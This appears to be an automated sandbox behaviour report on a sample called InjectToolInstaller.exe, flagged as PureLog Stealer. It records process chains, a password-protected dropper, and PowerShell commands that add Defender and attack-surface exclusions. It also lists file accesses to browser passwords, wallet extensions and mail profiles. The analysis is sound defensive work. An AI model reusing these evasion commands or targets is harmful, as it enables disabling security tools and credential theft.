Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\data.exe C:\Users\user\AppData\Local\Temp\data.exe -p"hty6u57tfg" -d"C:\Users\user\AppData\Local\Temp\"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe NET FILE
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /C "C:\Users\user\AppData\Local\Temp\1.bat"
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 FILE
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe NET FILE
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Users\user\Appdata\Local" -Force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\data.exe C:\Users\user\AppData\Local\Temp\data.exe -p"hty6u57tfg" -d"C:\Users\user\AppData\Local\Temp\"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs"
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 FILE
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\insta313tg.exe "C:\Users\user\AppData\Local\Temp\insta313tg.exe"
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Process created: C:\Users\user\AppData\Local\Temp\insta313tg.exe "C:\Users\user\AppData\Local\Temp\insta313tg.exe"

Source: C:\Users\user\Desktop\InjectToolInstaller.exe

Code function: 0_2_013C0EDF cpuid

0_2_013C0EDF

Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: GetLocaleInfoW,	0_2_013E65D4
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: IsValidCodePage,GetLocaleInfoW,	0_2_013EC7DC
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: EnumSystemLocalesW,	0_2_013ECB58
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_013ECBE5
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: EnumSystemLocalesW,	0_2_013ECA54
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: EnumSystemLocalesW,	0_2_013ECABD
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_013ECF5E
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: GetLocaleInfoW,	0_2_013ECE35
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_013ED132
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: GetLocaleInfoW,	0_2_013ED065
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: EnumSystemLocalesW,	0_2_013E5B84
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: EnumSystemLocalesW,	0_2_013E5CA0
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: EnumSystemLocalesW,	0_2_013E5CEC
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: EnumSystemLocalesW,	0_2_013E5CE4
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: GetLocaleInfoW,GetNumberFormatW,	24_2_000000013F2B18DC
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,	48_2_0055C430
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: EnumSystemLocalesW,	48_2_0065004D
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	48_2_006500D8
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: GetLocaleInfoW,	48_2_0065032B
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	48_2_00650454
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: GetLocaleInfoW,	48_2_0065055A
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	48_2_00650630
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: EnumSystemLocalesW,	48_2_00646F4A
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: GetLocaleInfoW,	48_2_006474CE
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: GetLocaleInfoEx,FormatMessageA,	48_2_0062D793
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	48_2_0064FCBB
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: GetLocaleInfoW,	48_2_0064FEC0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: EnumSystemLocalesW,	48_2_0064FF67
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: EnumSystemLocalesW,	48_2_0064FFB2

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\insta313tg.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\InjectToolInstaller.exe

Code function: 0_2_013E663E GetSystemTimeAsFileTime,

0_2_013E663E

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

48_2_00596230

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

48_2_0055C430

Source: C:\Users\user\Desktop\InjectToolInstaller.exe

Code function: 0_2_013BEC4C __EH_prolog3_GS,GetVersionExA,GetCommandLineW,MessageBoxW,MessageBoxW,MessageBoxW,MessageBoxW,ShellExecuteExA,CreateProcessA,CloseHandle,WaitForSingleObject,CloseHandle,

0_2_013BEC4C

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 42.2.insta313tg.exe.5120000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.insta313tg.exe.5120000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.471803561.0000000005120000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\logins.json
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\signons.sqlite
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
